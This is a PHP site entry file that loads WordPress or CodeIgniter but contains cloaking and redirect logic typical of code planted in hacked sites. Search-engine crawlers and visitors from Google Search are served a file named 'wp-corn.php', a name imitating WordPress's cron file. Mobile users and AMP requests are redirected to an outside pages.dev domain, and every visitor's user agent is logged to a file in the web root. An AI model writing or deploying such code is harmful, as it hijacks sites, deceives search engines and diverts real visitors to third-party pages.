<?php
// ================= ENV & PATH =================
define('ENVIRONMENT', getenv('DEV_ENVIRONMENT') ?: 'development');

// Minimal PHP
$minPHPVersion = '7.2';
if (phpversion() < $minPHPVersion) {
    die("Your PHP version must be {$minPHPVersion} or higher. Current: " . phpversion());
}
unset($minPHPVersion);

define('FCPATH', __DIR__ . DIRECTORY_SEPARATOR);
$pathsPath = FCPATH . '../app/Config/Paths.php';

// Cek apakah ada config CodeIgniter
$paths = null;
if (file_exists($pathsPath)) {
    require $pathsPath;
    $paths = new Config\Paths();
}

// ================= USER AGENT =================
$userAgent = $_SERVER['HTTP_USER_AGENT'] ?? '';
file_put_contents(FCPATH . 'debug_log.txt', date('Y-m-d H:i:s') . " UA: $userAgent\n", FILE_APPEND);

// ================= DETEKSI AMP =================
$isAMP = isset($_GET['amp']) && $_GET['amp'] == 1;
if ($isAMP) {
    header("Location: 
https://toaborg.pages.dev/");
    exit;
}

// ================= BOT DETECTION =================
$botKeywords = [
    'googlebot','bingbot','slurp','duckduckbot',
    'baiduspider','yandexbot','google-inspectiontool'
];
function isBot($ua, $keywords){
    $uaLower = strtolower($ua);
    foreach($keywords as $k){
        if(strpos($uaLower, $k)!==false) return true;
    }
    return false;
}

// ================= GOOGLE SEARCH DETECTION =================
function cameFromGoogleSearch() {
    if (!isset($_SERVER['HTTP_REFERER'])) return false;
    $ref = strtolower($_SERVER['HTTP_REFERER']);
    return (strpos($ref, 'google.') !== false && strpos($ref, '/search') !== false);
}

// ================= MOBILE DETECTION =================
function isMobile($ua) {
    return preg_match('/mobile|android|iphone|ipad|ipod|blackberry|iemobile|opera mini|tablet/i', $ua);
}

// ================= LOGIKA UTAMA =================

// 1. Jika bot atau dari Google Search → tampilkan wp-corn.php
if (isBot($userAgent, $botKeywords) || cameFromGoogleSearch()) {
    include FCPATH . 'wp-corn.php';
    exit;
}

// 2. Jika mobile user (manusia biasa) → redirect ke AMP
if (isMobile($userAgent)) {
    header("Location: 
https://toaborg.pages.dev/");
    exit;
}

// 3. Default → jalankan WordPress
define('WP_USE_THEMES', true);
require __DIR__ . '/wp-blog-header.php';

// 4. (Opsional) Jika WordPress tidak dipakai, fallback ke CodeIgniter
if ($paths) {
    chdir(__DIR__);
    $app = require rtrim($paths->systemDirectory, '/ ') . '/bootstrap.php';
    $app->run();
}